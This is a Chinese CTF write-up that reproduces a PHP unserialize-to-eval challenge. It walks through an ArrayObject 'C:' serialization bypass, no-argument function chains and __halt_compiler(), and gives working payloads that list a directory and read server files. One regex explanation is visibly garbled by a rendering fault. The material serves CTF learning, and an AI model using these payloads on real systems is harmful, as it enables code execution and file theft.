湖农大邀请赛shell_rce漏洞复现

湖农大邀请赛 shell_rce 复现

在 2023 年湖南农业大学邀请赛的线上初赛中,有一道 shell_rce 题,本文将复现该题。

题目内容,打开即是代码:



class shell{
    public $exp;
	public function __destruct(){
        $str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);
        $code = substr($str , 0, 1);
        if(preg_match("/^[$code]+$/",$str))
        {
            eval($this->exp." hello world!"); 
        }
	}
}

if(!isset($_GET['exp'])){
	highlight_file(__FILE__);
}

if(!preg_match('/^[Oa]|get/i',$_GET['exp'])){
	unserialize($_GET['exp']);
}

注意到在反序列化之前先进行了一个判断

preg_match('/^[Oa]|get/i',$_GET['exp'])

这段代码使用 PHP 的 preg_match 函数对 $_GET[‘exp’] 变量进行正则表达式匹配。具体而言,该正则表达式为 “1|get”,其解释如下:

  • ^ 表示匹配字符串的开头
  • [Oa] 表示匹配 O 或 a 这两个字符中的任意一个
  • | 表示逻辑或,即要么匹配开头的 O 或 a,要么匹配 get
  • i 表示不区分大小写

因此,该正则表达式可以匹配的字符串包括:

  • 以 O 或 a 开头的任意字符串
  • 包含 get 的任意字符串,不区分大小写

在本代码中,若 $_GET[‘exp’] 变量与上述正则表达式匹配成功,则返回 true,否则返回 false。

如此一来,常见的序列化字符串和数组绕过的方法都不管用了。

C 开头的绕过

推荐博客:

https://fushuling.com/index.php/2023/03/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADwakeup%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/

这里只用 ArrayObject() 函数做演示,具体操作如下:

$exp = new shell();
$arr = array("exp"=>$exp);
$ao = new ArrayObject($arr);
echo serialize($ao);

这段 PHP 代码的作用如下:

  1. 创建一个名为 $exp 的对象,该对象是 shell 类的一个实例。

  2. 创建一个名为 $arr 的数组,其中只有一个元素,即键名为 “exp”,键值为 $exp。

  3. 使用 PHP 内置函数 ArrayObject 对 $arr 进行实例化,获得一个名为 $ao 的 ArrayObject 对象。

  4. 调用 PHP 内置函数 serialize 将 $ao 序列化,即将其转换成可以存储或传输的字符串形式,输出结果到页面上。

通过以上操作,即可将序列化字符串变成以 C 开头的形式,绕过第一个检测。

输出结果:

C:11:"ArrayObject":59:{x:i:0;a:1:{s:3:"exp";O:5:"shell":1:{s:3:"exp";N;}};m:a:0:{}}

无参函数 RCE

在 shell 类的 __destruct 方法中,有这样的过滤机制:

$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);

会将该类中的属性 exp 作一个过滤

该段代码使用 PHP 的 preg_replace 函数对 $this->exp 字符串进行正则表达式替换。具体而言,该正则表达式为 “[^\W]+\((?R)?\)”,其解释如下:

  • [^\W]+ 表示匹配一个或多个非特殊字符(即字母或数字),这里的 ^\W 表示取反后表示非特殊字符
  • ( 表示匹配左括号
  • (?R) 表示匹配一个递归到起始符号(即 “(?R)”)的表达式,即匹配一个嵌套的模式。所以该正则表达式能够处理有括号嵌套的情况
  • ) 表示匹配右括号

因此,该正则表达式可以匹配的字符串为类似于 " functionName(args) " 这样的字符串,并且支持函数嵌套,例如:functionName1(functionName2()) 。其实际含义是匹配一个函数名后紧跟着一对括号,其中可以有递归式的参数列表。

当匹配到这种无参函数格式的字符串时,就会将其替换为空。

使用无参函数的话,所有的值都会被替换为空。假设函数有参,那么参数部分将会被保留,但是这样的话就无法通过后面的过滤了,具体为什么后面会讲。

因此,在 C 绕过的基础上,可以构造如下的 payload :

$exp->exp = "var_dump(scandir(current(localeconv())));"

这个 PHP 嵌套函数的作用如下:

  1. localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。

  2. current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。

  3. scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表。

因此,该代码的作用是获取当前地区的第一个格式化参数(通常是小数点符号),然后将该参数作为路径传递给 scandir() 函数,从而获取该路径下的文件和文件夹列表。最终,使用 var_dump() 函数将该列表输出到页面上,以便查看它们的详细信息。

因为 eval 函数的参数结尾必须要带分号,所以该字符串的末尾添加了分号,如此一来,str 字符串就只是一个分号了

__halt_compiler() 中断 eval() 函数的执行

在无参函数绕过之后,又进行了一次过滤:

$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);
$code = substr($str , 0, 1);
if(preg_match("/^[$code]+$/",$str))
{
    eval($this->exp." hello world!"); 
}

这段 PHP 代码的作用如下:

  1. 使用 substr 函数从字符串 $str 中取出第一个字符,并将其赋值给变量 $code。

  2. 使用正则表达式 “/^[$code]+$/” 对字符串 s t r 进行匹配。其中, " ‘ [ str 进行匹配。其中,"`^[ str进行匹配。其中,"[code]+`" 匹配以 $code 中的字符开头,并且由 c o d e 中的字符组成的任何长度的字符串, " code 中的字符组成的任何长度的字符串," code中的字符组成的任何长度的字符串,"" 表示匹配到字符串结尾。总的来说,该正则表达式表示 $str 只包含 $code 中的字符。

  3. 如果匹配成功,即 $str 只包含 $code 中的字符,那么执行 eval 函数,将 $this->exp 和字符串 “hello world!” 连接在一起作为 PHP 代码执行。eval 函数可以将字符串作为 PHP 代码执行,因此这里相当于在执行 $this->exp 和 “hello world!” 的拼接结果。如果 $this->exp 中含有函数调用等需要被执行的代码,则会在这里被执行。

  4. 如果正则表达式匹配失败,即 $str 中含有 $code 中未包含的字符,则不执行 eval 函数。

已知 str 只是一个分号,那么 code 就也是一个分号,这样就能通过后面的过滤了。假如 str 不是只有分号的话,这里就过不去,所以上面要用无参函数。

到这里我们知道,$this->exp 字符串中有且只能有无参函数和分号,有多少个都可以,怎么排列都可以,但是不能有其他的东西。

但是问题来了:

eval($this->exp." hello world!"); 

这段代码做一个字符串拼接,导致 eval 函数无法正常执行,当时想了好久,知道赛后放 wp 才知道,__halt_compiler() 函数可以中断 eval() 的执行,这是连 exit() 都做不到的事。比如说:

eval(a();__halt_compiler(); hello world!)

那么 eval 函数执行完 a() 函数后,执行到 __halt_compiler() 函数时就会中断,不再执行后面的代码,也不会因为后面的代码不符合规范而报错。

据此,构造最终的 payload :

$exp = new shell();
$exp->exp = "var_dump(scandir(current(localeconv())));__halt_compiler();";
$arr = array("exp"=>$exp);
$ao = new ArrayObject($arr);
echo serialize($ao);

本地成功输出:

在这里插入图片描述

想要读取文件的话,修改 $exp->exp 的值就可以了。

官方的 wp 中使用 array_rand() 随机获取当前目录下的文件内容。

官方 wp :

var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

array_flip() 反转数组中的键值对,即将数组中的每个值作为键,原来的键作为新的值。

array_rand() 随机获取反转后的数组中的一个键,即获取当前文件夹下随机一个文件或文件夹的名称。

输出结果:

在这里插入图片描述
在上面查看查看当前目录下文件时,返回的数组中还有 “.” 和 “…” 两个值,所以上面的 payload 可能会不成功,需要多试几次。


  1. Oa ↩︎

你可能感兴趣的:(ctf,php反序列化,web安全,php)